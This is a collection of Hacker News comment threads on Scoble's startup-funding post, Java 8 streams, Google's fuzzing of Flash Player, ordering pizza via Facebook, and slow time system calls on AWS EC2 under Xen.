http://scobleizer.com/2008/10/11/the-startup-squeeze/
======
altano
I don't know how anyone can read anything Scoble writes with that ridiculous
banner at the top. It looks like he's about to high-five me, whether I like it
or not.
------
pmjordan
It'll be interesting to see if the prediction of more acquisitions but less
funding turns out to be correct. It would appear to continue the (perceived,
from my point of view) trend of early exits through acquisition. This could be
some more good news for early startups in all this doom & gloom.
~~~
dmv
Except that his starting point was that there are two kinds of currently
established "startup" businesses: profitable but indirectly dependent on
capital for growth, and not profitable but growing and dependent on capital
for life :) This eco-system discussion does not include extremely young
businesses who would not be in a position to be profitable or dependent on
credit markets yet (that's addressed elsewhere). Note that he's talking about
profitable businesses who may not have intended to be sold, discovering that
while their runway still looks infinite, it may appear now to need extra money
to repair and maintain that they can not easily find anymore.
For the not-yet-existent company, you still need to become profitable -- and
generate an outsized ROI relative to a big company desperate to continue to
grow. If you can do that, at any time, you should do ok.
| {
"pile_set_name": "HackerNews"
} |
Streams in Java 8 - bra-ket
http://download.java.net/jdk8/docs/api/java/util/stream/package-summary.html
======
pron
While lambdas and streams (along with default methods, or traits) are
certainly the most important features of Java 8, I'm particularly interested
in the pluggable type systems[1].
These are pluggable, orthogonal (intersection?) types, that can even be
introduced or inferred for code that has already been compiled without them.
I'm not a type systems expert by any means, but I haven't seen anything like
it in any other language, certainly not a mainstream one.
There are currently Java 8 type systems for nullability, immutability and
more.
[1]: [http://types.cs.washington.edu/checker-
framework/](http://types.cs.washington.edu/checker-framework/)
------
barrkel
sorted(Comparator<? super T> comparator)
Eurgh. Why isn't this a projection to a comparable type (or better, a
projection to a tuple of comparable types, for use with lexicographical
ordering)?
Say you have class Country { int population; int name; }. You want the names
of the top 3 countries by population:
countries.orderByDesc(x -> x.population).limit(3).map(x -> x.name)
But instead, you must do something like:
countries.sorted((x, y) -> Integer.compare(y.population, x.population).limit(3).map(x -> x.name)
It gets much uglier when you want a lexicographical ordering by several
attributes.
~~~
jargonjustin
Java's Comparator type is more general (you don't necessarily need to project
the type for comparison) and an existing abstraction. It's not hard to
introduce a combinator to transform the representation as a library, as in:
countries.sorted(by(x -> x.population)).limit(3).map(x -> x.name)
where `by` looks something like:
<S, T> Comparator<T> by(Projection<S, T> projection);
interface Projection<S, T> {
Comparable<S> project(T value);
}
~~~
barrkel
Sure; and you'd have to import the thing that contains 'by'.
It's still ugly, and would prevent e.g. a radix sort being used when
projecting an integer as the sort key, or American flag sort for strings.
------
coldtea
> _However, there are good reasons to prefer a reduce operation over a
> mutative accumulation such as the above. Not only is a reduction "more
> abstract" \-- it operates on the stream as a whole rather than individual
> elements -- but a properly constructed reduce operation is inherently
> parallelizable, so long as the function(s) used to process the elements are
> associative and stateless._
I've read this kind of thing everywhere, but is there any
language/runtime/compiler that DOES DO this, or is it mostly a case of "an
adequately advanced compiler" syndrome?
Especially for examples as the simple accumulation (addition) above, it seems
especially difficult for the runtime to judge how to break down, what the
parallelization overhead would be etc.
~~~
berdario
If I haven't misunderstood you, Clojure does:
[http://clojure.com/blog/2012/05/08/reducers-a-library-and-
mo...](http://clojure.com/blog/2012/05/08/reducers-a-library-and-model-for-
collection-processing.html)
Also, this talk that I found on HN some time ago explains some of the gory
details behind the idea: [http://vimeo.com/6624203](http://vimeo.com/6624203)
~~~
coldtea
>* If I haven't misunderstood you, Clojure does*
Yes, that's an example of what I was talking about, and I know you can also do
it with Apple's Grand Central Dispatch API.
But is Clojure's stuff implicit or do you explicitly ask for the parallel
thing to happen?
What I'm asking is essentially: sure, a reduce/map/filter/etc can potentially
run in parallel. But does that ever happen automatically when using common
API's for map/reduce/etc, or do you have to explicitly tell it to do so?
And if it happens automatically, how does the scheduller knows it's a good
idea to run stuff in parallel? For some tasks the overhead might even make the
time needed worse.
------
bra-ket
also [https://blog.codecentric.de/en/2013/10/java-8-first-steps-
la...](https://blog.codecentric.de/en/2013/10/java-8-first-steps-lambdas-
streams/)
~~~
dclara
Thank you.
------
jebblue
This hurts my eyes, it doesn't look like Java, what would this look like in
Java:
int sum = widgets.stream()
.filter(b -> b.getColor() == RED)
.mapToInt(b -> b.getWeight())
.sum();
~~~
talklittle
List<Widget> filtered = filter(widgets, new Filter<Widget>() {
@Override public boolean keep(Widget w) {
return w.getColor() == RED;
}
});
List<Integer> weights = mapToInt(filtered, new Mapper<Widget, Integer>() {
@Override public Integer map(Widget w) {
return w.getWeight();
}
});
int sum = sum(weights);
~~~
overgard
Seems too short. Maybe you could split it into 5 files? You don't even have a
factory. Much less a factory factory. This code will never cut it in the
_enterprise_ world.
~~~
jebblue
It turns out there's a good blog article that explains why the less
enterprisey way is better since it remove the iteration loop of the collection
and lets the computer [figure out how to express the sum of weights of the red
objects in a collection of blocks]:
[http://blog.hartveld.com/2013/03/jdk-8-33-stream-
api.html](http://blog.hartveld.com/2013/03/jdk-8-33-stream-api.html)
I've been around too long to trust the computer to figure out how best to do
something. If I'm wrong then Java 8 leads the way to the end of programmers,
similar to how robotics mostly ended how cars were manufactured.
------
zmmmmm
The one feature that Python has that regularly makes me jealous when I'm using
other languages is the generator / iterator mechanism. It's possible to write
code that is composable and modular in a functional way, and automatically
scales to massive data with minimal memory use because the streaming mechanism
is built in to the language at the ground level. I _hope_ this is bringing the
same to Java for real and that this is not just syntactic sugar on top of
regular collection operations.
~~~
ygra
From the docs: »•Possibly unbounded. While collections have a finite size,
streams need not. Short-circuiting operations such as limit(n) or findFirst()
can allow computations on infinite streams to complete in finite time.»
So they can't just take collections here and pretend they're streams (but you
can obtain streams from collections).
But nice to see that the days of writing explicit loops just to filter a
collection in Java are over. That being said, I still like Python's or C#'s
syntactic enhancements to write generators/IEnumerables. The Spliterator in
Java doesn't sound as easy to use and seems more aimed at low-level library
code instead of user code. In the latter case you'd probably just get the
stream from a collection again instead of creating it yourself. (You can
apparently base it on a normal iterator, though, but the docs warn about it
having bad performance in parallel scenarios.)
------
blueblob
This is really cool, that they are making parallelization easier but does
anyone else feel like every time they add new syntax to java it becomes harder
and harder to read?
~~~
tsotha
It makes reading java more like reading lisp, which is a different way of
thinking entirely. Personally I think it's a mistake to put functional
programming into an OO language - it makes code harder to maintain as there
are too many ways to do the same thing. C++ has become virtually unusable as a
result of all the different languages they've mashed into it, and I'd hate to
see java go down the same road.
~~~
frankzinger
_" C++ has become virtually unusable..."_
Geez, the C++ hate is unbelievable. I use it every day, and it's a _great_
language. No way is it "virtually unusable". Some of the criticisms are
justified, but the way people carry on about it is just absolutely beyond
overblown.
------
bhauer
Streams are among my favorite Java 8 additions.
More about the goodies in Java 8:
[http://www.techempower.com/blog/2013/03/26/everything-
about-...](http://www.techempower.com/blog/2013/03/26/everything-about-
java-8/)
------
mark_l_watson
I have been experimenting with lambdas and streams for several months - great
additions to the language.
The one thing that I really hope for a future release of Java is a better
literal syntax for dealing with maps and JSON.
------
overgard
Yay. They finally caught up to C# 6 years later.
[Edit: to the haters -- where am I wrong other than that I'm making fun of
your favorite language?]
~~~
alkonaut
Stream<T>, IntStream, LongStream, DoubleStream?
You can't make this stuff up.
EDIT: what I'm trying to say is: why his remark is inflammatory and
unnecessary, it's also wrong. This API is perhaps the single worse example of
why java makes API's look worse than C#, and there is nothing to be done about
it until the JVM stops erasing types.
~~~
pron
Java's type erasure, while once considered a disadvantage, is now being
recognized as one of the reasons other statically typed languages can be
ported to the JVM. If Java reified types, it would make interoperability with
other type systems extremely hard.
~~~
overgard
Yet somehow they made F# and scala run on the CLR. So: I'm calling bullshit.
~~~
javafu2
F# team ask for modifications of the CLR (covariant delegates), porting a
language on the CLR if you are not Microsoft is hard.
Scala never really run on the CLR, it's a vaporware, sorry a work in progress.
~~~
adriaanm
Yep, scala's .net back-end is discontinued, and one of the main challenges (I
worked on it a bit) was indeed generating the proper generic signatures. (I
hear people are using ikvm these days.)
------
Randgalt
So cool.
------
rismay
Java has come a long way. Why not just merge with Scala?
~~~
pron
Because Scala has a very different (I would say completely opposite)
philosophy than Java. In a paper outlining Java philosophy[1], the _very first
thing_ James Gosling has to say about the language is this: "It was not an
academic research project studying programming languages: Doing language
research was actively an antigoal."
When describing the design of language, again, the very first thing Gosling
says is, "Java is a blue collar language. It's not PhD thesis material but a
language for a job. Java feels very familiar to many different programmers
because I had a very strong tendency to prefer things that had been used a lot
over things that just sounded like a good idea."
So: no research, no PhD, only proven stuff and nothing new. Regardless of your
opinion of Scala (I don't like it), I think it's not controversial to say that
Scala is on the exact opposite side of the spectrum.
[1]: [http://dfjug.org/thefeelofjava.pdf](http://dfjug.org/thefeelofjava.pdf)
~~~
runT1ME
Except your argument is invalid because java has continued to add features and
keywords to address its flaws.
It is moving towards scala, just at an incredibly slow rate.
~~~
pron
But moving at an incredibly slow rate _is_ exactly what the Gosling document
says: Java will only implement features that are familiar and proven, namely
years after they've been introduced. Also, Java's philosophy says that no
feature is to be adopted, no matter how nice, unless it solves a _very, very,
very painful problem_. Many people, myself included, think it's a very wise
stance for such a widely adopted language.
Scala is first and foremost a research language. It has some very good
features and some terrible features. Also it is completely unopinionated. But
that's how it's supposed to be: as a research language, its main goal is to
figure out what works and what doesn't, so that mainstream languages years
from now will know what works and what doesn't.
~~~
runT1ME
If java was taking things out as it added new things in, then we'd have a good
debate on our hands. Alas, they don't seem to be taking this stance, and
instead are adding in more and more (just slowly) without removing any of the
cruft.
Despite reading your many "scala" rants on HN, I still don't know which
features you think are 'terrible', just that you think there are some that
confuse you and/or are allow you to something multiple ways (abstract classes
vs. interfaces with concrete implementations say what???).
Care to actually articulate the 'terrible' features this time?
~~~
pron
Java can't take stuff out, at least not anything major. Java's adoption is two
or three orders of magnitude higher than most languages out there (except
C/C++); you can't make so many millions of developers go back and change 10 or
15 year-old code. One of the reasons it's this popular is that it's
consistently backwards compatible.
I don't want to be dragged into the Scala discussion again (after all, these
are just opinions; I realize some people really like Scala, but for some
reason, Scala people just find it hard to accept the very real fact that some
people don't like it, and it's not because they haven't tried it or don't
understand it).
| {
"pile_set_name": "HackerNews"
} |
Fuzzing at scale - abraham
http://googleonlinesecurity.blogspot.com/2011/08/fuzzing-at-scale.html
======
tptacek
Gulp.
A team at Google pulled 20tb(!) of SWF files out of their crawl and fed them
through a simple algorithm that determined the subset of 20,000 SWF files that
exercised the maximum number of basic blocks in Adobe's Flash Player.
Then, using 2000 CPU cores at Google for 3 weeks, they flipped random bits in
those 20,000 SWF files and fed them through an instrumented Flash Player.
Result: 80 code changes in Flash Player to fix security bugs from the
resulting crashes.
This is great stuff; you can imagine a _very_ well organized adversary
spending the money on comparable compute resources, and even (if you stretch)
obtaining the non-recoverable engineering time to build a comparably
sophisticated fuzzing farm. But no other entity excepting perhaps Microsoft
can generate the optimal corpus of SWF files to fuzz from.
DO PDF NEXT, GOOGLE.
You've got to ask yourself: in a year or so, if there are still regular
updates for exploitable zero-day memory corruption flaws in Flash, even after
Google exhaustively tests the input to every basic block in the player with
the union of all file format features observed on the entire Internet, what
does that say about the hardness of making software resilient to attack?
~~~
jrockway
_what does that say about the hardness of making software resilient to attack_
Well, we already know the answer to that question. The long-term solution is
to build software out of safer building blocks. A good example is high-level
programming languages. When you write C and use cstrings (or other
unstructured "blocks-o-ram" data structures), you have to "get it right" every
single time you touch a string. In a codebase the size of Flash's, this
probably amounts to tens of thousands of possible bugs. But if you write it in
a high-level language, the runtime implementor only has to get it right once
-- and there's no way you can get it wrong, even if you want to. (The middle
ground is something like better string handling functions; OpenBSD tried to do
this with strl*, and there are libraries like bstrings that represent strings
properly. But you can still do unsafe pointer math on these strings with not-
much-benefit.)
The way it stands right now, it's cheaper to write software with the approach
of "throw some trained monkeys at it and hope for the best". But in the
future, we're going to need to do a lot more thinking and a lot less typing if
we want to write secure software without performance penalties.
~~~
yuhong
Binary file formats make it worse, because you are dealing with untrusted data
disguised as a C struct. For example, even multiplying with an integer that is
too big can result in an integer overflow, and C will silently truncate.
------
nbpoole
That blog post seems to contradict what Tavis Ormandy claimed on Twitter a few
days ago, when the patch was released:
> _Adobe patched around 400 unique vulnerabilities I had sent them in
> APSB11-21 as part of an ongoing security audit. Not a typo._
<https://twitter.com/#!/taviso/status/101046246277521409>
> _Apparently that number was embarrassingly high, and they're trying to bury
> the results, so I'll publish my own advisory later today._
<https://twitter.com/#!/taviso/status/101046396790128640>
Whereas the blog post cites 400 unique crashes, 106 security bugs, and 80 code
changes (the same numbers that Adobe used:
[http://blogs.adobe.com/asset/2011/08/how-did-you-get-to-
that...](http://blogs.adobe.com/asset/2011/08/how-did-you-get-to-that-
number.html)).
\---
Regardless of the exact numbers though, this is a supremely awesome feat of
security engineering. It's very impressive.
~~~
tptacek
Code changes feels like the best count, unless you believe Adobe's letting
crashers slip past this release.
------
wglb
Ok, I am going to say that this is just a little scary, scalewise. And I am
thinking that the 2000 cores they used was some teeny fraction of what they
might have deployed if they really needed it.
~~~
nitrogen
On the subject of raw computing power, if you live in the US you've probably
heard about some NSA or CIA data facility being installed in your general
region, and how the local power company built new infrastructure just to power
the building. If Google can throw 2000 cores at securing software, how many
can a government throw at breaking it, e.g. in preparation for the next
iteration of Stuxnet?
~~~
tptacek
The cluster is interesting, but not as interesting as the giant corpus of SWF
files Google got to use. Do you think the government has a crawl as complete
as Google's under its hat? How? People notice when the Googlebot does new
things. Wouldn't we noticed the Fedbot?
~~~
wisty
Perhaps Fedbot crawls in a less deterministic manner, uses a lot of different
ips, and sets user agent to IE?
~~~
bigiain
I suspect "fedbot" works by calling up google and saying "Hi, it's us again,
we've got another white van on the way to the googleplex, have a petabyte or
two of the Internet ready for us to collect in 20 minutes. thanks"
------
SoftwareMaven
This is really awesome. The one question I had: are there copyright issues
associated with Google using its index this way?
~~~
mbrubeck
Copyright law generally allows copying for research purposes that don't
compete commercially with the author's use of the work. For example, see
<https://w2.eff.org/IP/DMCA/Felten_v_RIAA/> (And Google, unlike some of us,
can afford lawyers to press that point in court if anyone tries to sue them.)
| {
"pile_set_name": "HackerNews"
} |
Americans Love Ordering Pizza on Facebook - mcone
https://www.bloomberg.com/news/articles/2017-08-15/facebook-amazon-become-weapons-in-restaurant-ordering-arms-race
======
throwaway2016a
Sorry for the tangent but...
About a year ago I started making my own pizza instead of ordering it in. Not
only do a save a lot of money but it is a higher quality product.
It takes about a half hour of prep so I only do it on weekends. I found a
quick crust recipe that doesn't require waiting for hours for the dough to
rise [1]. The ingredients are just bread flour, yeast, water, salt, olive oil,
and sugar.
The toppings and sauce are the most expensive parts. Though I'm sure if I made
the sauce from scratch I could shave a dollar but probably not worth the
effort.
Tip: buying a jar of yeast is MUCH cheaper than the pre-measured packets that
only make one pizza. Those are a rip off. A jar is almost the same price and
makes 15 pizzas instead of 1.
[1] [http://allrecipes.com/recipe/20171/quick-and-easy-pizza-
crus...](http://allrecipes.com/recipe/20171/quick-and-easy-pizza-crust/)
~~~
mbesto
> It takes about a half hour of prep so I only do it on weekends.
> Not only do a save a lot of money
So, it's not cheaper.
~~~
twothamendment
Outside of work there aren't many things I do that are "worth the money". Is
it worth the money to bake pizza? Not if you compare the cost of a chain pizza
vs what I make on average when I'm working.
I do so many things at home that are not "worth my time", but if I could trade
doing them for more hours sitting at my desk would I do it? No! I spend enough
time working. Some people enjoy cooking, gardening, yard work, etc. There are
days that pulling weeds is a nice break from sitting at a desk. I'd never want
to work every waking hour at my job so someone can cook, clean and take care
of my house for me. Some things I do - are they worth the money? Not a chance.
Worth my time? That all depends on how you'd rather spend your time.
------
twothamendment
"The company began accepting orders on Facebook in June, and the feature was
an instant hit: Hundreds of orders flowed in during the first few hours. In
all forms, digital orders now make up over 60 percent of Papa John’s sales."
So what percent are from facebook? Online orders are 60%, but what percent are
from FB? I doubt there are that many.
My closest pizza place wasn't Papa John's, but I ordered online 100% of the
time - but I'd never do it through FB.
~~~
losteverything
Is it a national chain? Or does your local independent pizza joint have online
~~~
twothamendment
I've since moved, so I don't have any chains near me, but it was Domino's. I
never had a mistake and except for one time, it was always ready on time. I'd
go pick it up based on when they told me it would be done - just walk in and
walk out with pizza.
My local pizza place in the same area (better, pizza, but twice the price)
could lookup my last order by phone number - that saved time and mistakes. It
was nice, but would have been better if it tied into caller ID. Some employees
acted like it was a burden to have me tell them a phone # and hit the reorder
button - but it was so much faster and error free.
------
tyingq
I'm somewhat surprised that national pizza chains in the US haven't done more
with their existing driver networks and delivery tech.
Edit: A little more detail...
For their current use of the networks, the apps aren't at all competitive with
Uber Eats, Doordash, etc. See [http://blog.pizzahut.com/featured/track-your-
pizza-with-our-...](http://blog.pizzahut.com/featured/track-your-pizza-with-
our-delivery-tracker/) , for example. It tracks only 3 states. The UI also
doesn't do a good job of highlighting state changes...the current state is
just a slightly larger circle, of the same color, and no "ping" when it
changes.
Then, it seems like they could leverage their networks to do something beyond
just delivering their own products. I get that there are potential issues with
that, but it's surprising that we've not seen at least some local trial run of
that.
~~~
Alupis
> For their current use of the networks, the apps aren't at all competitive
> with Uber Eats, Doordash, etc, for example. It tracks only 3 states. The UI
> also doesn't do a good job of highlighting state changes...the current state
> is just a slightly larger circle, of the same color, and no "ping" when it
> changes.
I guess I'm getting old or something, because I don't understand why you would
need anything more detailed than "order received", "order on it's way", and
maybe "order delivered" (although you should assumably be aware of this event
without an app or website informing you).
If you have the time to watch second-by-second updates of where your food
delivery is, why didn't you just go save the $5 delivery fee + tip and pick it
up yourself? When I order delivery, it's because I'm doing something that
needs my attention and I don't have time to cook or pickup...
~~~
tyingq
I did mention more beyond the 3 states. The missing ping is an issue, for
example..say you're in the backyard. And the subtle visual treatment of
"current state".
Also, the additional info has been occasionally useful to me. Like when a
driver gets obviously lost. Or _" Oh, the food is cold because this place is
just too far away from me for reasonable delivery"_
~~~
tluyben2
> Or "Oh, the food is cold because this place is just too far away from me for
> reasonable delivery"
I live in the mountains but GPS knows where I am; drivers (parcels/food/etc)
can choose upfront if 'this place is just too far away', not after they did
the drive.
~~~
tyingq
Uber eats has this problem. Many restaurants are too far away, but they will
deliver anyway. The food quality suffers.
With the map, I know why. So, for example, I don't short tip the driver.
Unfortunately, with Uber Eats, I don't see the problem until after I pay.
------
losteverything
When looking into the decline of automats (Amazon's recent announcement is
automat like), one was the fact that vending machines did not have a bill
acceptors. Inflation meant more coins was a hassle...
Now, paying by human exchange is being trumped by the finger only
| {
"pile_set_name": "HackerNews"
} |
Two frequently used system calls are ~77% slower on AWS EC2 - jcapote
https://blog.packagecloud.io/eng/2017/03/08/system-calls-are-much-slower-on-ec2/
======
brendangregg
Yes, this is why we (Netflix) default to tsc over the xen clocksource. I found
the xen clocksource had become a problem a few years ago, quantified using
flame graphs, and investigated using my own microbenchmark.
Summarized details here:
[https://www.slideshare.net/brendangregg/performance-
tuning-e...](https://www.slideshare.net/brendangregg/performance-tuning-
ec2-instances/42)
~~~
brendangregg
This reminds me: I should give an updated version of that talk for 2017...
~~~
jankedeen
I've been in a couple positions recently where they mention your name and I
look at your work and think to myself..here is a sysadmin with modest skills
who (by exposure) has become notably vocal and somewhat adept at scale
computing. In general if a company mentions Netflix or Brendan Gregg I flinch.
Just an FYI.
~~~
brendangregg
Sorry to make you flinch! I'm curious what of my work you were looking at; on
this thread I had mentioned this:
[https://www.slideshare.net/brendangregg/performance-
tuning-e...](https://www.slideshare.net/brendangregg/performance-tuning-
ec2-instances)
I think it's a pretty good summary, and includes work from my team and some
original work of my own.
Is there something I could change in it that would make it more helpful for
you?
------
drewg123
Another option is to reduce usage of gettimeofday() when possible. It is not
always free.
Roughly 10 years ago, when I was the driver author for one of the first full-
speed 10GbE NICs, we'd get complaints from customers that were sure our NIC
could not do 10Gbs, as iperf showed it was limited to 3Gb/s or less. I would
ask them to re-try with netperf, and they'd see full bandwidth. I eventually
figured out that the complaints were coming from customers running distros
without the vdso stuff, and/or running other OSes which (at the time) didn't
support that (Mac OS, FreeBSD). It turns out that the difference was that
iperf would call gettimeofday() around every socket write to measure
bandwidth. But netperf would just issue gettimeofday calls at the start and
the end of the benchmark, so iperf was effectively gettimeofday bound. Ugh.
~~~
LanceH
Maybe you could set up some caching.
~~~
sly010
For time?
~~~
coldtea
Yes, for time too. For one, if you don't need over second precision, they why
have some of your servers e.g. ask for the current time thousands of times per
second? There are ways to get a soft expiration that don't involve asking for
the time.
~~~
kccqzy
In case someone is interested in a concrete example, I first learned about
caching time by discovering this package in my dependencies:
[https://hackage.haskell.org/package/auto-
update](https://hackage.haskell.org/package/auto-update)
Its README basically says instead of having every web request result in a call
to get current time, it instead creates a green thread that runs every second,
updating a mutable pointer that stores the current time.
------
nneonneo
The title is misleading. 77% slower sounds like the system calls take 1.77x
the time on EC2. In fact, the results indicate that the normal calls are 77%
faster - in other words, EC2 gettimeofday and clock_gettime calls take _nearly
4.5x longer_ to run on EC2 than they do on ordinary systems.
This is a _big_ speed hit. Some programs can use gettimeofday extremely
frequently - for example, many programs call timing functions when logging,
performing sleeps, or even constantly during computations (e.g. to implement a
poor-man's computation timeout).
The article suggests changing the time source to tsc as a workaround, but also
warns that it could cause unwanted backwards time warps - making it dangerous
to use in production. I'd be curious to hear from those who are using it in
production how they avoided the "time warp" issue.
~~~
klodolph
77% faster is not correct either. "Speed" would probably by ops/s.
4.5x longer = 350% slower.
~~~
stouset
Even _this_ is confusing as hell.
Just say the native calls take 22% of the time they do on EC2. Or that the EC2
calls take 450% of the time of their native counterparts.
"Faster" and "slower" when going with percentages are ripe with confusion.
Please don't use them.
~~~
klodolph
I can't agree. Speed is usually units/time, and everyone knows that 100 mph is
2x as fast as 50 mph, or 100% faster.
------
binarycrusader
I prefer the way Solaris solved this problem:
1) first, by eliminating the need for a context switch for libc calls such as
gettimeofday(), gethrtime(), etc. (there is no public/supported interface on
Solaris for syscalls, so libc would be used)
2) by providing additional, specific interfaces with certain guarantees:
[https://docs.oracle.com/cd/E53394_01/html/E54766/get-sec-
fro...](https://docs.oracle.com/cd/E53394_01/html/E54766/get-sec-
fromepoch-3c.html)
This was accomplished by creating a shared page in which the time is updated
in the kernel in a page that is created during system startup. At process exec
time that page is mapped into every process address space.
Solaris' libc was of course updated to simply read directly from this memory
page. Of course, this is more practical on Solaris because libc and the kernel
are tightly integrated, and because system calls are not public interfaces,
but this seems greatly preferable to the VDSO mechanism.
~~~
jdamato
This is precisely what the vDSO does. The clocksources mentioned explicitly
list themselves as not supporting this action, hence the fallback to a regular
system call.
~~~
binarycrusader
Not quite; vdso is a general syscall-wrapper mechanism. The Solaris solution
is specifically just for the gettimeofday(), gethrtime() interfaces, etc.
The difference is that on Solaris, since there is no public system call
interface, there's also no need for a fallback. Every program is just faster,
no matter how Solaris is virtualized, since every program is using libc.
There's also no need for an administrative interface to control clocksource;
the best one is always used.
~~~
jdamato
Not quite. The vDSO provides a general syscall-wrapper mechanism for certain
types of system call interfaces. It _also_ provides implementations of
gettimeofday clock_gettime and 2 other system calls completely in userland and
acts precisely as you've described.
Please see this[1] for a detailed explanation. For a shorter explanation,
please see the vDSO man page[2]. Thanks for reading my blog post!
[1]: [https://blog.packagecloud.io/eng/2016/04/05/the-
definitive-g...](https://blog.packagecloud.io/eng/2016/04/05/the-definitive-
guide-to-linux-system-calls/#virtual-system-calls) [2]:
[http://man7.org/linux/man-pages/man7/vdso.7.html](http://man7.org/linux/man-
pages/man7/vdso.7.html)
~~~
binarycrusader
I'm aware of the high level about VDSO implementation, but I would still say
that the Solaris implementation is more narrowly focused and as a result does
not have the subtle issues / tradeoffs that VDSO does.
Also, I personally find VDSO disagreeable as do others although perhaps not in
as dramatic terms as some:
[https://mobile.twitter.com/bcantrill/status/5548101655902617...](https://mobile.twitter.com/bcantrill/status/554810165590261761)
I think Ian Lance Taylor's summary is the most balanced and thoughtful:
_Basically you want the kernel to provide a mapping for a small number of
magic symbols to addresses that can be called at runtime. In other words, you
want to map a small number of indexes to addresses. I can think of many
different ways to handle that in the kernel. I don 't think the first
mechanism I would reach for would be for the kernel to create an in-memory
shared library. It's kind of a baroque mechanism for implementing a simple
table.
It's true that dynamically linked programs can use the ELF loader. But the ELF
loader needed special changes to support VDSOs. And so did gdb. And this
approach doesn't help statically linked programs much. And glibc functions
needed to be changed anyhow to be aware of the VDSO symbols. So as far as I
can tell, all of this complexity really didn't get anything for free. It just
wound up being complex.
All just my opinion, of course._
[https://github.com/golang/go/issues/8197#issuecomment-660959...](https://github.com/golang/go/issues/8197#issuecomment-66095902)
~~~
amluto
> Not quite; vdso is a general syscall-wrapper mechanism.
It's not. On 32-bit x86, it sort of is, but that's just because the 32-bit x86
fast syscall mechanism isn't really compatible with inline syscalls. Linux
(and presumably most other kernels) provides a wrapper function that means "do
a syscall". It's only accelerated insofar as it uses a faster hardware
mechanism. It has nothing to do with fast timing.
On x86_64, there is no such mechanism.
> It's true that dynamically linked programs can use the ELF loader. But the
> ELF loader needed special changes to support VDSOs. And so did gdb. And this
> approach doesn't help statically linked programs much.
That's because the glibc ELF loader is a piece of, ahem, is baroque and
overcomplicated. And there's no reason whatsoever that vDSO usage needs to be
integrated with the dynamic linker at all.
I wrote a CC0-licensed standalone vDSO parser here:
[https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux....](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/tools/testing/selftests/vDSO/parse_vdso.c?h=v4.10)
It's 269 lines of code, including lots of comments, and it works in static
binaries just fine. Go's runtime (which is static!) uses a vDSO loader based
on it. I agree that a static table would be _slightly_ simpler, but the
tooling for _debugging_ the vDSO is a heck of a lot simpler with the ELF
approach.
------
jdamato
Author here, greetings. Anyone who finds this interesting may also enjoy our
writeup describing every Linux system call method in detail [1].
[1]: [https://blog.packagecloud.io/eng/2016/04/05/the-
definitive-g...](https://blog.packagecloud.io/eng/2016/04/05/the-definitive-
guide-to-linux-system-calls/)
~~~
a_t48
Nitpick - `77 percent faster` is not the inverse of `77 percent slower`. The
line that says `The results of this microbenchmark show that the vDSO method
is about 77% faster` should read `446% faster`.
~~~
woolly
Should that not be 346% faster? If A takes 1 second and B takes two seconds,
then B is 100% faster than A. So the calculation would be (B/A - 1) * 100.
Applying this here gives around 346%.
EDIT: B would, of course, take 100% longer than A, rather than be 100% faster.
~~~
mulmen
How can something that takes twice as long be faster?
~~~
woolly
You're right, of course: hadn't had the morning coffee. It should have been
'takes 100% longer' in the 1 second/2 seconds example. The point I was trying
to make is that you have to factor in the initial 100% which doesn't
contribute to the final value.
------
JoshTriplett
For anyone looking at the mentions of KVM "under some circumstances" having
the same issue and wondering how to avoid it with KVM: KVM appears to support
fast vDSO-based time calls as long as:
\- You have a stable hardware TSC (you can check this in /proc/cpuinfo on the
host, but all reasonably recent hardware should support this).
\- The host has the host-side bits of the KVM pvclock enabled.
As long as you meet those two conditions, KVM should support fast vDSO-based
time calls.
------
masklinn
So… it's not that the syscalls are slower, it's that the Linux-specific
mechanism the Linux kernel uses to bypass having to actually perform these
calls does not currently work on Xen (and thus EC2).
~~~
yellowapple
Depends on if you're looking at this from userspace or kernelspace. From the
latter, you're spot on. From the former, the headline's spot on.
~~~
masklinn
> From the former, the headline's spot on.
Only if you're using Linux guests and assuming vDSO so not really. The
headline made me first go to issues with the host/virtual hardware and some
syscalls being much slower than normal across the board.
------
andygrunwald
This was also presented at the last AWS re:Invent in December. See AWS EC2
Deep Dive: [https://de.slideshare.net/mobile/AmazonWebServices/aws-
reinv...](https://de.slideshare.net/mobile/AmazonWebServices/aws-
reinvent-2016-deep-dive-on-amazon-ec2-instances-featuring-performance-
optimization-best-practices-cmp301)
------
chillydawg
Interesting way to find out the version of the hypervisor kernel. If the gtod
call returns faster than the direct syscall for it, then you know the kernel
version is prior to that of the patch fixing the issue in xen.
I expect there are many such patches that you could use to narrow down the
version range of the host kernel. Once you've that information, you may be in
a better position to exploit it, knowing which bugs are and are not patched.
------
nodesocket
If anybody is interested, Google Compute Engine VM's result.
blog ~ touch test.c
blog ~ nano test.c
blog ~ gcc -o test test.c
blog ~ strace -ce gettimeofday ./test
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
0.00 0.000000 0 100 gettimeofday
------ ----------- ----------- --------- --------- ----------------
100.00 0.000000
------
gtirloni
Previous related discussion:
[https://news.ycombinator.com/item?id=13697555](https://news.ycombinator.com/item?id=13697555)
------
amluto
vDSO maintainer here.
There are patches floating around to support vDSO timing on Xen.
But isn't AWS moving away from Xen or are they just moving away from Xen PV?
------
apetresc
Does anyone have any intuition around how this affects a variety of typical
workflows? I imagine that these two syscalls are disproportionally likely to
affect benchmarks more than real-world usage. How many times is this syscall
happening on a system doing things like serving HTTP, or running batch jobs,
or hosting a database, etc?
~~~
TheDong
You can use strace and see!
Go to your staging environment, use `strace -f -c -p $PID -e
trace=clock_gettime` (or don't use -p and just launch the binary directly),
replay a bit of production traffic against it, and then interrupt it and check
the summary.
HTTP servers typically return a date header, often internally dates are used
to figure out expiration and caching, and logging almost always includes
dates.
It's incredibly easy to check the numbers of syscalls with strace, so you
really should be able to get an intuition fairly easily by just playing around
in staging.
------
anonymous_iam
I wonder if they tried this: [https://blog.packagecloud.io/eng/2017/02/21/set-
environment-...](https://blog.packagecloud.io/eng/2017/02/21/set-environment-
variable-save-thousands-of-system-calls/)
------
xenophonf
Is this just an EC2 problem, or does it affect any Xen/KVM guest?
I ran the test program on a Hyper-V VM running CentOS 7 and got the same
result: 100 calls to the gettimeofday syscall. Conversely, I tested a vSphere
guest (also running CentOS 7), which didn't call gettimeofday at all.
~~~
officelineback
>Is this just an EC2 problem, or does it affect any Xen/KVM guest?
Looks like it's how the Xen hypervisor works.
~~~
ahoka
It is slower because it misses an optimization where you can get the current
time without having to enter the kernel. The trick is using the RDTSC
instruction, which is not a privileged instruction, so you can call it from
userspace. The Time Stamp Counter is a 64 bit register (MSR actually), which
gets incremented monotonically. You can get the current time by calibrating it
against a known duration on boot or get the frequency from a system table
